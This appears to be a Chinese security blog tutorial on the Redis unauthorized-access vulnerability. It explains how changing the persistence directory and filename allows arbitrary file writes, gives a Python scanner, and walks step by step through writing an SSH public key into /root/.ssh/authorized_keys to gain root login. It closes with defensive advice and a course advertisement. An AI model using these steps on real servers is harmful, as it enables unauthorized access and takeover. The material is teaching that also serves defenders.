前言
传统数据库都是持久化存储到硬盘中,所以执行某些业务时传统数据库并不是很理想。redis等数据存储在内存中的数据库就应允而生了。基于内存的Redis读速度是110000次/s,写速度是81000次/s 。但是基于内存的缺点就是断电即失,如果服务器产生了意外,内存中的数据就会全部丢失,企业使用redis就冒着很大的风险。所以redis支持持久化存储(rbd与aof),在满足一定条件的情况下会自动保存到硬盘或者通过命令手动保存到硬盘。
上面的一切都很美好,直到一群搞安全的人发现redis中的默认配置是空口令(可以远程登录直接读取服务器内存中的数据),然后进入redis中发现可以手动更改持久化存储的路径和文件名(这样就可以在指定的路径写入某些的特殊的内容)--------->redis未授权访问漏洞就诞生了。
redis相关命令
-
redis-cli
- -h 连接指定host
- -p 指定端口
- -x 从标准输入中读取数据并且作为redis-cli的最后一个参数
root@b6134771890d:/data# echo 123|redis-cli -h 127.0.0.1 -p 6379 -x set test OK root@b6134771890d:/data# redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> get test "123\n"
-
config
- config get dir 获取redis用于文件持久化存储的路径
- config get dbfilename 获取redis用于文件持久化存储的文件名
- config set dir xxxx 修改路径
- config set dbfilename xxx 修改文件名
127.0.0.1:6379> config get dir 1) "dir" 2) "/data" 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rmb"
-
save
redis的数据是可以进行持久化存储的 有rdb持久化(默认)和aof持久化两种方式 ========================================================= redis与持久化存储有关的配置 save 900 1 # 900s内有一个键值对被修改则自动持久化存储 save 300 10 save 60 10000 dbfilename dump.rmb # 默认持久化存储的文件名 dir /home/redis/data/ # 默认持久化存储的路径 ========================================================== 因为需要满足以上的条件才能自动持久化,这里的save命令是直接手动持久化内存中的数据
漏洞利用
漏洞产生条件:
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(默认为空),可以免密码远程登录redis服务。
文件写入原理
因为redis-cli远程连接redis之后,除了可以查看内存中的键值对外还可以通过config set dir xxx、config set dbfilename xxx等命令,在权限足够的情况下可以实现在任意路径写入任意内容。如果将dbfilename指定到web网站的某个目录下通过写入特定内容 生成webshell,如果将dbfilename指定为ssh公钥存放的目录,这样就产生了ssh远程登录的漏洞......
漏洞危害:
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件(webshell);
- 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
webshell利用前提:
1.靶机redis连接未授权,在攻击机上能用redis-cli连上,并未登陆验证
2.开了web服务器,并且知道路径
ssh登陆利用前提:
1.redis以root身份运行
反弹shell利用前提:
1.权限足够!
python脚本扫描未授权访问漏洞
import socket
def redis_access(target_ip: str, port: int):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
try:
sock.connect((target_ip, port))
sock.send(payload.encode())
response = sock.recv(1024).decode()
if 'redis_version' in response:
return True
else:
return False
except Exception as e:
return False
redis_access('192.168.0.107', 6379)
通过写入SSH公钥实现ssh登录
-
首先在攻击机中生成ssh公钥(生成的内容在.ssh中)
ssh-keygen -t rsa
-
将公钥写入到某个文件
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>xx.txt
-
将xx.txt中的内容作为值写入到hack键中
cat xx.txt | redis-cli -h 192.168.0.107 -p 6379 -x set hack
-
连接redis
redis-cli -h 192.168.0.107 -p 6379
-
更改redis备份路径为ssh公钥存放目录
conf set dir /root/.ssh
-
设置上传公钥的备份文件名字为authorized_keys
conf set dbfilename authorized_keys
-
save命令保存
-
现在即可通过ssh登录服务器了
防御策略
-
配置redis口令
-
低权限运行redis服务(就算进入了redis也不会对服务器产生更大的影响)
-
禁止外网访问redis
学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
2.视频教程
因为很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。